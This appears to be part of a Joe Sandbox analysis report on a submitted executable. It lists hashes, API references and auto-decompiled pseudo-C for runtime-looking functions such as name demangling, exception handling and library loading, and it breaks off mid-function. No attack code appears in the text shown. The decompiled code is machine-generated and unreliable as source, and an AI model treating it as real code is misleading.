Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: malloc
String ID: L;L
API String ID: 2803490479-3306770229
Opcode ID: 8b57360d0bc68d904d08ea04d54e96d71dafd687a3ed72c87183eb908ec766c2
Instruction ID: 367f35885f3911e4dc7e3d50bd2d8af7556a9d541bc410306759df17e14996e0
Opcode Fuzzy Hash: 8b57360d0bc68d904d08ea04d54e96d71dafd687a3ed72c87183eb908ec766c2
Instruction Fuzzy Hash: 852247706087068FC714CF29C48062AB7E1FF88354F159A2EE999A7351D738ED46DBC6

Uniqueness

Uniqueness Score: -1.00%

Function 00448780 Relevance: 10.6, APIs: 7, Instructions: 54fileCOMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,474E5543,?,004C00E0,?,?,?,?,?,?,004C367F,?,?,?,?), ref: 004C4448
abort.MSVCRT(?,?,474E5543,?,004C00E0,?,?,?,?,?,?,004C367F,?,?,?,?), ref: 004C4455
fwrite.MSVCRT ref: 004C44B3
fputs.MSVCRT ref: 004C44C8
fputc.MSVCRT ref: 004C44E1
abort.MSVCRT ref: 004C44EB
free.MSVCRT ref: 004C44F3

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: abort$fputcfputsfreefwrite
String ID:
API String ID: 3364258748-0
Opcode ID: 27ee402ec80444bc451c5e25257d4303690ad1288c8133e2c6e2a871a76971e6
Instruction ID: af5b48f131738fa7883b718554f4469ec535dba9dd497a3abc282de8198f8c8a
Opcode Fuzzy Hash: 27ee402ec80444bc451c5e25257d4303690ad1288c8133e2c6e2a871a76971e6
Instruction Fuzzy Hash: 1E112EB49097109AD340BFBAC14A72EBEE0AF45319F02881FE0C947302DB7C85419BAF

Uniqueness

Uniqueness Score: -1.00%

Function 00437020 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 344
stringCOMMONCrypto

Download Yara Rule

C-Code - Quality: 58%

			E00437020(signed char* __eax, intOrPtr __ecx, signed int __edx) {
				void* _v16;
				char _v32;
				signed int _v36;
				char _v40;
				char* _v44;
				signed int _v48;
				char _v52;
				char* _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				signed int _v80;
				char _v84;
				char _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				char _v100;
				char _v104;
				char _v360;
				char _v364;
				char _v368;
				char _v372;
				char _v376;
				signed int _v380;
				char _v384;
				char* _v388;
				intOrPtr _v392;
				signed int _v396;
				signed int _v400;
				signed char* _v404;
				signed int _v408;
				intOrPtr _v412;
				char _v416;
				intOrPtr* _v432;
				intOrPtr _v436;
				signed int _v440;
				intOrPtr _v444;
				signed int _v448;
				void* _v461;
				char _v464;
				intOrPtr _v468;
				intOrPtr _v472;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t151;
				signed int _t153;
				intOrPtr _t155;
				void* _t158;
				signed int _t160;
				signed int _t169;
				signed int _t174;
				intOrPtr _t187;
				signed int _t191;
				int _t198;
				signed int _t200;
				signed int _t204;
				signed int _t205;
				signed char* _t208;
				char* _t211;
				signed char* _t213;
				signed int _t214;
				signed char* _t219;
				signed char* _t220;
				signed int _t224;
				signed char* _t228;
				signed char _t231;
				signed int _t233;
				signed int _t234;
				signed int _t238;
				signed int _t243;
				signed int _t244;
				signed int _t246;
				intOrPtr* _t247;
				signed int _t249;
				signed int _t253;
				signed int _t255;
				signed int _t262;
				signed int _t268;
				signed int _t269;
				signed char* _t270;
				signed int _t273;
				signed char* _t274;
				signed char* _t277;
				void* _t278;
				void* _t279;
				intOrPtr* _t280;
				intOrPtr* _t282;
				void* _t288;

				_t233 = __edx;
				_t208 = __eax;
				_t280 = _t279 - 0x1cc;
				_t151 =  *__eax & 0x000000ff;
				_v432 = __edx;
				_v436 = __ecx;
				_v440 = _t151;
				_t288 = _t151 - 0x5f;
				if(_t288 == 0) {
					__eflags = __eax[1] - 0x5a;
					_t262 = 1;
					if(__eax[1] != 0x5a) {
						goto L1;
					} else {
					}
				} else {
					L1:
					asm("repe cmpsb");
					asm("sbb al, 0x0");
					_t262 = 0;
					if((_t151 & 0xffffff00 | _t288 > 0x00000000) == 0) {
						_t204 =  *(_t208 + 8) & 0x000000ff;
						if((_t233 & 0xffffff00 | _t204 == 0x0000002e | 0 | _t204 == 0x0000005f) != 0 || _t204 == 0x24) {
							_t205 =  *(_t208 + 9) & 0x000000ff;
							if(_t205 == 0x44) {
								L27:
								_t262 = 0;
								__eflags =  *((char*)(_t208 + 0xa)) - 0x5f;
								if( *((char*)(_t208 + 0xa)) == 0x5f) {
									__eflags = _t205 - 0x49;
									_t262 = ((_t205 & 0xffffff00 | _t205 != 0x00000049) & 0x000000ff) + 2;
								}
							} else {
								_t262 = 0;
								if(_t205 == 0x49) {
									goto L27;
								}
							}
						}
					}
				}
				 *_t280 = _t208;
				_t153 = strlen(??);
				_v416 = _t208;
				_t273 = _t153;
				_v408 = 0x11;
				_v412 = _t208 + _t153;
				_t155 = _t273 + _t273;
				_v444 = _t155;
				_v392 = _t155;
				_v404 = _t208;
				_v396 = 0;
				_v380 = _t273;
				_v384 = 0;
				_v376 = 0;
				_v372 = 0;
				_v368 = 0;
				_v364 = 0;
				_t158 = E004386A0(_t273 << 5);
				_t160 =  &_v461 >> 2;
				_t234 = _t160;
				_t224 = _t160 * 4;
				_t282 = _t280 - _t158 - E004386A0(0xf + _t273 * 4 >> 4 << 4);
				_v400 = _t224;
				_v388 =  &_v464;
				if(_t262 == 1) {
					__eflags = _v440 - 0x5f;
					if(_v440 != 0x5f) {
						goto L14;
					} else {
						__eflags =  *((char*)(_t208 + 1)) - 0x5a;
						if( *((char*)(_t208 + 1)) != 0x5a) {
							goto L14;
						} else {
							_v404 = _t208 + 2;
							_t264 = E004307A0( &_v416, _t224, 1);
							__eflags = _v408 & 0x00000001;
							if((_v408 & 0x00000001) != 0) {
								_t274 = _v404;
								_t169 =  *_t274 & 0x000000ff;
								__eflags = _t169 - 0x2e;
								if(_t169 == 0x2e) {
									_t228 = _t274;
									_t191 = _t264;
									do {
										_t243 = _t228[1] & 0x000000ff;
										_t124 = _t243 - 0x61; // -7
										__eflags = _t124 - 0x19;
										if(_t124 <= 0x19) {
											L49:
											_t244 = _t228[2] & 0x000000ff;
											_t213 =  &(_t228[2]);
											_v440 = _t244;
											__eflags = _t244 - 0x61 - 0x19;
											if(_t244 - 0x61 <= 0x19) {
												L51:
												_v440 = _t191;
												goto L52;
												do {
													do {
														L52:
														_t213 =  &(_t213[1]);
														_t246 =  *_t213 & 0x000000ff;
														__eflags = _t246 - 0x61 - 0x19;
													} while (_t246 - 0x61 <= 0x19);
													__eflags = _t246 - 0x5f;
												} while (_t246 == 0x5f);
												_t191 = _v440;
												goto L36;
											} else {
												__eflags = _v440 - 0x5f;
												if(_v440 != 0x5f) {
													_t246 = _v440 & 0x000000ff;
													goto L36;
												} else {
													goto L51;
												}
											}
											goto L46;
										} else {
											__eflags = _t243 - 0x5f;
											if(_t243 == 0x5f) {
												goto L49;
											} else {
												__eflags = _t243 - 0x30 - 9;
												if(_t243 - 0x30 > 9) {
													_t264 = _t191;
													_t169 =  *_t228 & 0x000000ff;
												} else {
													_t246 =  *_t228 & 0x000000ff;
													_t213 = _t228;
													L36:
													__eflags = _t246 - 0x2e;
													if(_t246 == 0x2e) {
														while(1) {
															_t269 = _t213[1] & 0x000000ff;
															__eflags = _t269 - 0x30 - 9;
															if(_t269 - 0x30 > 9) {
																goto L43;
															}
															_t253 = _t213[2] & 0x000000ff;
															_t270 =  &(_t213[2]);
															_t129 = _t253 - 0x30; // -47
															__eflags = _t129 - 9;
															if(_t129 <= 9) {
																do {
																	_t270 =  &(_t270[1]);
																	_t253 =  *_t270 & 0x000000ff;
																	_t130 = _t253 - 0x30; // -47
																	__eflags = _t130 - 9;
																} while (_t130 <= 9);
															}
															_t213 = _t270;
															__eflags = _t253 - 0x2e;
															if(_t253 == 0x2e) {
																continue;
															}
															goto L43;
														}
													}
													L43:
													_v404 = _t213;
													_t214 = _v396;
													_t268 = _t213 - _t228;
													__eflags = _t214 - _v392;
													if(_t214 >= _v392) {
														L48:
														_t247 = 0;
													} else {
														_t247 = (_t214 << 4) + _v400;
														 *((intOrPtr*)(_t247 + 4)) = 0;
														_v396 = _t214 + 1;
														__eflags = _t268;
														if(_t268 == 0) {
															goto L48;
														} else {
															 *((intOrPtr*)(_t247 + 4)) = 0;
															 *_t247 = 0;
															 *(_t247 + 8) = _t228;
															 *(_t247 + 0xc) = _t268;
														}
													}
													goto L46;
												}
											}
										}
										goto L16;
										L46:
										 *_t282 = _t247;
										_t191 = E0042DC50(_t191, 0x4d);
										_t228 = _v404;
										_t249 =  *_t228 & 0x000000ff;
										__eflags = _t249 - 0x2e;
									} while (_t249 == 0x2e);
									_t264 = _t191;
									_t169 = _t249;
								}
							} else {
								_t169 =  *_v404 & 0x000000ff;
							}
							goto L16;
						}
					}
				} else {
					if(_t262 == 0 || _t262 > 3) {
						_t264 = E0042F510( &_v416, _t208, _t224, _t262, _t273, __eflags);
						_t169 =  *_v404 & 0x000000ff;
						L16:
						__eflags = _t264;
						if(_t264 == 0) {
							goto L14;
						} else {
							goto L17;
						}
					} else {
						_t277 = _t208 + 0xb;
						_v404 = _t277;
						if( *((char*)(_t208 + 0xb)) == 0x5f) {
							__eflags =  *((char*)(_t208 + 0xc)) - 0x5a;
							if( *((char*)(_t208 + 0xc)) != 0x5a) {
								goto L10;
							} else {
								_v404 = _t208 + 0xd;
								_t231 = E004307A0( &_v416, _t224, 0);
							}
						} else {
							L10:
							_v448 = _t234;
							_v440 = _t224;
							 *_t282 = _t277;
							_t198 = strlen(??);
							_t255 = _v448;
							_t231 = _v440;
							if(_v444 <= 0) {
								L29:
								_t231 = 0;
							} else {
								 *((intOrPtr*)(4 + _t255 * 4)) = 0;
								_v396 = 1;
								if(_t198 == 0) {
									goto L29;
								} else {
									 *((intOrPtr*)(8 + _t255 * 4)) = _t277;
									 *(_t255 * 4) = 0;
									 *(0xc + _t255 * 4) = _t198;
								}
							}
						}
						 *_t282 = 0;
						_t200 = E0042DC50(_t231, (0 | _t262 != 0x00000002) + 0x43);
						_t219 = _v404;
						_t264 = _t200;
						 *_t282 = _t219;
						_t220 = _t219 + strlen(??);
						_v404 = _t220;
						_t169 =  *_t220 & 0x000000ff;
						if(_t200 != 0) {
							L17:
							__eflags = _t169;
							if(_t169 != 0) {
								goto L14;
							} else {
								_v100 = 0;
								_v104 = 0;
								_t211 =  &_v360;
								_v96 = _v432;
								_v88 = 0;
								_v92 = _v436;
								_v84 = 0;
								_v68 = 0;
								_v64 = 0;
								_v80 = 0;
								_v76 = 0;
								_v72 = 0;
								_v60 = 0;
								_v56 = 0;
								_v52 = 0;
								_v48 = 0;
								_v44 = 0;
								_v40 = 0;
								_v36 = 0;
								E0042DD10( &_v36, _t264,  &_v48);
								_t174 = _v48;
								_v32 = 0;
								_t238 = _v36 * _t174;
								__eflags = _t174;
								_v432 = _t282;
								_t175 =  <=  ? 1 : _t174;
								_v36 = _t238;
								E004386A0(0xf + ( <=  ? 1 : _t174) * 8 >> 4 << 4);
								__eflags = _t238;
								_t239 =  <=  ? 1 : _t238;
								E004386A0(0xf + ( <=  ? 1 : _t238) * 8 >> 4 << 4);
								_v56 =  &_v464;
								_v44 =  &_v464;
								E00430EB0(_t211, _t264, 0x11);
								_t187 = _v104;
								 *((char*)(_t278 + _t187 - 0x164)) = 0;
								_v468 = _v92;
								_v472 = _t187;
								 *_v432 = _t211;
								_v96();
								__eflags = _v80;
								_t104 = _v80 == 0;
								__eflags = _t104;
								return 0 | _t104;
							}
						} else {
							L14:
							return 0;
						}
					}
				}
			}

0x00437020
0x00437026
0x00437028
0x0043702e
0x00437031
0x00437037
0x0043703d
0x00437043
0x00437045
0x004373c2
0x004373c6
0x004373cb
0x00000000
0x00000000
0x004373d1
0x0043704b
0x0043704b
0x00437057
0x0043705c
0x0043705e
0x00437062
0x00437064
0x00437074
0x0043707a
0x00437080
0x00437410
0x00437410
0x00437412
0x00437416
0x0043741c
0x00437426
0x00437426
0x00437086
0x00437086
0x0043708a
0x00000000
0x00000000
0x0043708a
0x00437080
0x00437074
0x00437062
0x00437090
0x00437093
0x00437098
0x0043709e
0x004370a3
0x004370ad
0x004370b3
0x004370b6
0x004370bc
0x004370c7
0x004370cd
0x004370d7
0x004370dd
0x004370e7
0x004370f1
0x004370fb
0x00437105
0x0043710f
0x0043711a
0x0043711d
0x0043711f
0x00437138
0x0043713a
0x00437144
0x0043714d
0x00437373
0x0043737a
0x00000000
0x00437380
0x00437380
0x00437384
0x00000000
0x0043738a
0x00437392
0x004373a5
0x004373a7
0x004373ae
0x00437440
0x00437446
0x00437449
0x0043744b
0x00437451
0x00437453
0x00437460
0x00437460
0x00437464
0x00437467
0x0043746a
0x00437544
0x00437544
0x00437548
0x0043754e
0x00437556
0x00437559
0x00437564
0x00437564
0x00437564
0x00437570
0x00437570
0x00437570
0x00437570
0x00437573
0x0043757b
0x0043757b
0x0043757f
0x0043757f
0x00437584
0x00000000
0x0043755b
0x0043755b
0x00437562
0x00437599
0x00000000
0x00000000
0x00000000
0x00000000
0x00437562
0x00000000
0x00437470
0x00437470
0x00437473
0x00000000
0x00437479
0x0043747c
0x0043747f
0x0043758f
0x00437591
0x00437485
0x00437485
0x00437488
0x0043748a
0x0043748a
0x0043748d
0x00437490
0x00437490
0x00437497
0x0043749a
0x00000000
0x00000000
0x0043749c
0x004374a0
0x004374a3
0x004374a6
0x004374a9
0x004374b0
0x004374b0
0x004374b3
0x004374b6
0x004374b9
0x004374b9
0x004374b0
0x004374be
0x004374c0
0x004374c3
0x00000000
0x00000000
0x00000000
0x004374c3
0x00437490
0x004374c5
0x004374c7
0x004374cd
0x004374d3
0x004374d5
0x004374db
0x00437540
0x00437540
0x004374dd
0x004374e5
0x004374eb
0x004374f2
0x004374f8
0x004374fa
0x00000000
0x004374fc
0x004374fc
0x00437503
0x00437509
0x0043750c
0x0043750c
0x004374fa
0x00000000
0x004374db
0x0043747f
0x00437473
0x00000000
0x0043750f
0x0043750f
0x0043751b
0x00437520
0x00437526
0x00437529
0x00437529
0x00437532
0x00437534
0x00437534
0x004373b4
0x004373ba
0x004373ba
0x00000000
0x004373ae
0x00437384
0x00437153
0x00437155
0x0043722e
0x00437236
0x00437239
0x00437239
0x0043723b
0x00000000
0x00000000
0x00000000
0x00000000
0x00437164
0x00437164
0x0043716b
0x00437171
0x004373e0
0x004373e4
0x00000000
0x004373ea
0x004373ef
0x00437402
0x00437402
0x00437177
0x00437177
0x00437177
0x0043717d
0x00437183
0x00437186
0x00437191
0x00437199
0x0043719f
0x00437430
0x00437430
0x004371a5
0x004371a5
0x004371b0
0x004371bc
0x00000000
0x004371c2
0x004371c2
0x004371cf
0x004371da
0x004371da
0x004371bc
0x0043719f
0x004371e3
0x004371f5
0x004371fa
0x00437200
0x00437202
0x0043720a
0x0043720c
0x00437212
0x00437217
0x0043723d
0x0043723d
0x0043723f
0x00000000
0x00437241
0x0043724c
0x00437250
0x00437257
0x0043725d
0x00437266
0x0043726d
0x00437273
0x0043727a
0x00437281
0x00437288
0x0043728f
0x00437296
0x0043729d
0x004372a4
0x004372ab
0x004372b2
0x004372b9
0x004372c0
0x004372c7
0x004372ce
0x004372d3
0x004372de
0x004372e5
0x004372e8
0x004372ea
0x004372f0
0x004372fa
0x00437303
0x0043730a
0x0043730c
0x00437320
0x0043732e
0x00437335
0x0043733a
0x0043733f
0x0043734b
0x00437353
0x00437357
0x0043735b
0x0043735e
0x00437366
0x00437368
0x00437368
0x00437372
0x00437372
0x00437219
0x00437219
0x00437222
0x00437222
0x00437217
0x00437155

APIs

strlen.MSVCRT ref: 00437093
strlen.MSVCRT ref: 00437186
strlen.MSVCRT ref: 00437205

Strings

_, xrefs: 0043755B
_GLOBAL_, xrefs: 0043704B

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: strlen
String ID: _$_GLOBAL_
API String ID: 39653677-1011282467
Opcode ID: af899207b134f1db2b1e43216b78800577eba55a8af24f9cb8173f4e0ec30cf7
Instruction ID: fb6e152a538aecd6d66d50f90dfc248da2b9a775ece3cf5d76291bc9d50b5d26
Opcode Fuzzy Hash: af899207b134f1db2b1e43216b78800577eba55a8af24f9cb8173f4e0ec30cf7
Instruction Fuzzy Hash: 3FE1A8B1D082698FEB20CF25C8903DEFBB2BB49304F1491DAD4985B346D7399A85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00437810 Relevance: 7.6, APIs: 5, Instructions: 55timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00437849
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004014B2), ref: 0043785A
GetCurrentThreadId.KERNEL32 ref: 00437862
GetTickCount.KERNEL32 ref: 0043786A
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004014B2), ref: 00437879

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 9f90593ba09810e5628b4201a1416d60ab9a70457f9f5e277906436465b217c8
Instruction ID: 539d2d6c0610850d2072c8480c96681c76dc9dbc2ffcac2f80d3c9bb3ae38812
Opcode Fuzzy Hash: 9f90593ba09810e5628b4201a1416d60ab9a70457f9f5e277906436465b217c8
Instruction Fuzzy Hash: BF1151B55093008BC310EF79F98954BBBE5FB98354F150D39E448C6320EB35D98DAB92

Uniqueness

Uniqueness Score: -1.00%

Function 004378C0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0043790F
UnhandledExceptionFilter.KERNEL32 ref: 0043791F
GetCurrentProcess.KERNEL32 ref: 00437928
TerminateProcess.KERNEL32 ref: 00437939
abort.MSVCRT ref: 00437942

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminateabort
String ID:
API String ID: 520269711-0
Opcode ID: aba881a2bdd0dece6f8d1395033d44ca4b44ab634b75e5903d1be277e0f3d647
Instruction ID: 41596d822440bdcdb0b14062f28f48d87c53fe3f2ad603c07b5327332f1cd8c2
Opcode Fuzzy Hash: aba881a2bdd0dece6f8d1395033d44ca4b44ab634b75e5903d1be277e0f3d647
Instruction Fuzzy Hash: AB11ECB59043048FD700EF69E94561EBBF0BF68304F41896DE88C97321E7789988EF62

Uniqueness

Uniqueness Score: -1.00%

Function 00445670 Relevance: 6.7, APIs: 4, Instructions: 690COMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 00445677
_errno.MSVCRT ref: 00445A9A

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: _errnolocaleconv
String ID:
API String ID: 890718178-0
Opcode ID: 6a84c0d79a0ec3d48ac4ca2d7be2039336a01c9856155e181f86eb02e7bd31bb
Instruction ID: 6848d0e3c5ae4817bafe99d936a6a58588a3db89f00dfc301e387735537b81a7
Opcode Fuzzy Hash: 6a84c0d79a0ec3d48ac4ca2d7be2039336a01c9856155e181f86eb02e7bd31bb
Instruction Fuzzy Hash: C1429371A087518FEB10CF19C08432BBBE1BF88314F19495EE8899B352D779ED45CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004014E0 Relevance: 6.0, APIs: 4, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 004014F0
LoadLibraryA.KERNEL32 ref: 00401506
GetProcAddress.KERNEL32 ref: 00401525
GetProcAddress.KERNEL32 ref: 00401537

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID:
API String ID: 384173800-0
Opcode ID: 81f53e7395d8560d5c322394b6a845186804c3f7375417e62228050fc61f15ef
Instruction ID: 74b75f8791139b739478c18869d72a7eda40bbed154e4365c9958c19ea9f5ef4
Opcode Fuzzy Hash: 81f53e7395d8560d5c322394b6a845186804c3f7375417e62228050fc61f15ef
Instruction Fuzzy Hash: 6F0180B18043109BC3107F79B90951EBEF4BE85344F01453ED8895B291E7B45448ABAB

Uniqueness

Uniqueness Score: -1.00%

Function 004396E0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 403
stringCOMMONCrypto

Download Yara Rule

C-Code - Quality: 51%

			E004396E0(CHAR* __eax, void* __edx, char _a1) {
				char _v1;
				void* _v16;
				signed int _v32;
				signed char _v45;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v88;
				signed int _v376;
				signed int _v380;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				char* _v464;
				signed int __ebx;
				signed int __edi;
				signed int __esi;
				signed int __ebp;
				CHAR* _t342;
				void* _t348;
				void* _t349;
				void* _t355;
				void* _t357;

				_t348 = __edx;
				_t342 = __eax;
				memset(__edx, 0, 0x30 << 2);
				_t357 = _t355 - 0x4c + 0xc;
				_t349 = _t348 + 0x30;
				_t342[0x68] = 0;
				_t342[0x50] = 0;
				if(_t342[0x4c] == 0) {
					L63:
					return 5;
				} else {
					__eax = __ebx + 0x54;
					__edi = __edx;
					_v64 = __ebx;
					_v88 = __ebx + 0x54;
					__eax =  *(__ebx + 0x60);
					_v60 = __eax;
					__eax = __eax >> 0x1f;
					 *__esp = __eax;
					__eax = E0043C820();
					__eflags = __eax;
					_v60 = __eax;
					__eax = _v64;
					if(__eflags == 0) {
						__edx =  *(__eax + 0x4c);
						__ecx =  *(__eax + 0x48);
						__eflags =  *((char*)(__edx - 2)) - 0xff;
						_t80 = __edx - 5; // 0x22dfe8
						__eax =  *_t80 & 0x000000ff;
						if( *((char*)(__edx - 2)) == 0xff) {
							__eflags =  *((char*)(__edx - 1)) - 0xd0;
							if( *((char*)(__edx - 1)) != 0xd0) {
								goto L58;
							} else {
								__eflags =  *__edx - 0x83;
								if( *__edx != 0x83) {
									goto L58;
								} else {
									__eflags =  *((char*)(__edx + 1)) - 0xf8;
									if( *((char*)(__edx + 1)) != 0xf8) {
										goto L58;
									} else {
										goto L89;
									}
								}
							}
						} else {
							L58:
							__eflags = __al - 0xe8;
							if(__al == 0xe8) {
								__eflags =  *((char*)(__edx - 4)) - 0x68;
								__eax =  *__edx & 0x000000ff;
								if( *((char*)(__edx - 4)) == 0x68) {
									__eflags = __al - 0xc3;
									if(__al != 0xc3) {
										goto L91;
									} else {
										L89:
										__eax =  *__ecx;
										__eax =  *( *__ecx + 4);
										goto L80;
									}
								} else {
									L91:
									__eflags = __al - 0x83;
									if(__al != 0x83) {
										goto L60;
									} else {
										__eflags =  *((char*)(__edx + 1)) - 0xc4;
										__eax = 5;
										if( *((char*)(__edx + 1)) == 0xc4) {
											__eflags =  *((char*)(__edx + 3)) - 0xb8;
											if( *((char*)(__edx + 3)) == 0xb8) {
												__eax =  *(__ecx + 0x38);
												goto L80;
											}
										}
										goto L51;
									}
								}
							} else {
								__eflags = __al - 0x8b;
								if(__al == 0x8b) {
